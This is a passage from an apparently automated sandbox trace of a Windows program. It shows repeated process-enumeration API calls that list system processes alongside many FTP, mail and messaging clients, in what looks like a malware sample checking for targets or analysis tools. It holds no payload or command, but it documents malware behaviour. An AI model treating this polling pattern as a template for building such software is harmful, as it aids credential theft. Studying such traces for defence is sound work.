Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0222.194] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0222.195] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0222.196] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0222.198] CloseHandle (hObject=0x15f0) returned 1 [0222.198] Sleep (dwMilliseconds=0x64) [0222.290] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0222.313] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.374] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.377] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.378] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.380] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.382] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.385] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0222.387] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0222.390] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0222.392] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.393] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.395] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0222.396] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.398] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.399] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.400] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.402] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.403] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.404] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.406] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0222.407] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0222.409] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0222.460] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.461] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0222.463] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0222.464] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0222.466] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0222.467] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0222.469] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0222.470] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0222.472] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0222.473] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0222.475] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0222.476] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0222.477] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0222.479] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0222.480] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0222.482] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0222.483] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0222.485] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0222.486] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0222.488] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0222.489] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0222.491] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0222.492] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0222.494] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0222.495] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0222.496] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0222.498] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0222.499] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0222.501] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0222.502] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0222.553] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0222.555] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0222.556] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0222.558] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0222.559] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0222.560] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0222.562] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0222.564] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0222.566] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0222.567] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0222.569] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0222.571] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0222.573] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0222.574] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0222.576] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0222.578] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0222.579] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0222.581] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0222.583] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0222.585] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0222.586] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0222.588] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0222.590] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0222.591] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0222.593] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0222.595] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0222.645] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0222.647] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, 